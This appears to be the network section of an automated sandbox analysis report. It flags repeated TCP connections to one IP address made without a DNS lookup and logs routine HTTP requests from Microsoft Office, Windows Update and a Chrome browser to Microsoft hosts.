Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SPWne69HwSwaO+u&MD=RFePRBpH HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
